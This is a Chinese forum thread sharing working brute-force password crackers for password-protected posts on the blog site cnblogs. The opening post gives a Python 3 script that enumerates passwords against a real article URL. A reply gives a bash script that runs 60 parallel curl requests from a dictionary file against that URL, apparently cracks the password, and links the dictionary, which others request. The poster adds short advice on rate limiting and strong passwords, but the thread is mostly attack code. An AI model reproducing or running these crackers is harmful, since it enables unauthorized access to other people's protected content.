[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[原创代码] 一个最简单的博客园文章密码暴力破解器-python3实现

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。
博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,
要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。


比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/read ... /27/factualism.html



我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,
这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。
2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。


-_-!为什么使用生成器?
python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..


写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。


tqdm是一个python进度条库,requests是一个简单优雅的http库,
product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。


```
  1. """
  2. python3暴力穷举密码
  3. 2016年6月09日 04:39:25  codegay
  4. """
  5. from time import strftime
  6. from itertools import product
  7. from time import sleep
  8. from tqdm import tqdm
  9. import requests
  10. from requests import post
  11. #密码生成器
  12. def psgen(x=4):
  13.     iter = ['1234567890',
  14.             'abcdefghijklmnopqrstuvwxyz',
  15.             'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
  16.             ]
  17.     for r in iter:
  18.         for repeat in range(1,x+1):
  19.             for ps in product(r,repeat=repeat):
  20.                 yield ''.join(ps)
  21. def fx(url):
  22. #把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  23.     url = url.replace("/post/readauth?url=", "")
  24.     for ps in tqdm(psgen(6)):
  25.         try:
  26.             rs=post(url,data={'tb_password':ps},allow_redirects=1)
  27.             if rs.url == url:  #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
  28.                 with open("resut.csv","a+") as f:
  29.                     f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
  30.                 break
  31.         except:
  32.             sleep(1)
  33.             pass
  34. url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
  35. fx(url)
复制代码
```

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:
1、密码验证的地方适当增加一些防止暴力破解的手段。
2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

本帖最后由 523066680 于 2016-6-15 15:13 编辑

越来越刁了,在“看雪”看到你了

记得博客园有图片验证?

哦,我以为是破解用户账号,吓坏我了

TOP

回复 2# 523066680


    。。。。擦。那不是又看到我在跟别人撕B了。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

我试了一下,博客园的登录没有验证证码。我点很多下都没有出来验证码。

印象里面之前我是碰到过有验证码的。

博客园的用户名好像不是确定的,再加上网络暴力破解的速度慢。应该没人真会用暴力破帐号和密码的方法。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

写了个小脚本

TOP

回复 5# lxzzr


    元老,快点拿粗来分享一下(也是破解博客访问密码的吗?)

TOP

本帖最后由 lxzzr 于 2016-6-15 16:25 编辑

回复 6# 523066680
是的,就是楼主那个,我用的是用bash批量提交curl
  1. #!/bin/bash
  2. trap Cleanup SIGINT SIGTERM
  3. # 字典路径
  4. DictionaryPath="/root/.passwd/PASSWD01"
  5. # 读取字典文件到数组
  6. arrayW=(`cat $DictionaryPath`)
  7. # 最大任务量,数组
  8. Limit=${#arrayW[*]}
  9. # 并发的进程数
  10. Threads=60
  11. echo ""
  12. echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"
  13. echo ""
  14.    
  15. function Cleanup()
  16. {
  17.     # 清理后台还在运行的任务
  18.     for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`
  19.     do
  20.         kill %$i
  21.     done
  22.    
  23.     sleep 1
  24.     echo -e "\n\nExit ...\n"
  25.     exit
  26. }
  27. function Crack()
  28. {
  29.     URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"
  30.     result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')
  31.     if [ "$result" == "200" ]; then
  32.         printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"
  33.         killall ${0##*/}
  34.     fi
  35. }
  36. # 进程ID数组
  37. arrayP=()
  38. m=0
  39. while (( m < Limit ))
  40. do
  41. for ((n=0; n < Threads; n++))
  42. do
  43. if [ $m -gt $Limit ]; then
  44. break;
  45. fi
  46. if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then
  47.         # 处理进度百分比
  48.                         progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')
  49.             
  50.                         printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."
  51. Crack "${arrayW[m]}" &
  52. arrayP[n]=$!
  53.     m=$((m+1))
  54. fi
  55. done
  56. sleep 0.5
  57. done
  58. wait
  59. printf "\n\n"
  60. exit
复制代码
1

评分人数

TOP

好粗暴                   。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

字典里你填了什么啊,为毛就给算出来了。。。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

回复 9# codegay

哈哈,就是一密码字典

TOP

回复 10# lxzzr


    快分享字典。我要字典。
去学去写去用才有进步。安装python3代码存为xx.py 双击运行或右键用IDLE打开按F5运行

TOP

回复 11# codegay


    http://pan.baidu.com/s/1pL8G8MB
1

评分人数

TOP

回复 12# lxzzr


   原链接已失效, 求密码字典,谢谢!

TOP

求密码字典

TOP

返回列表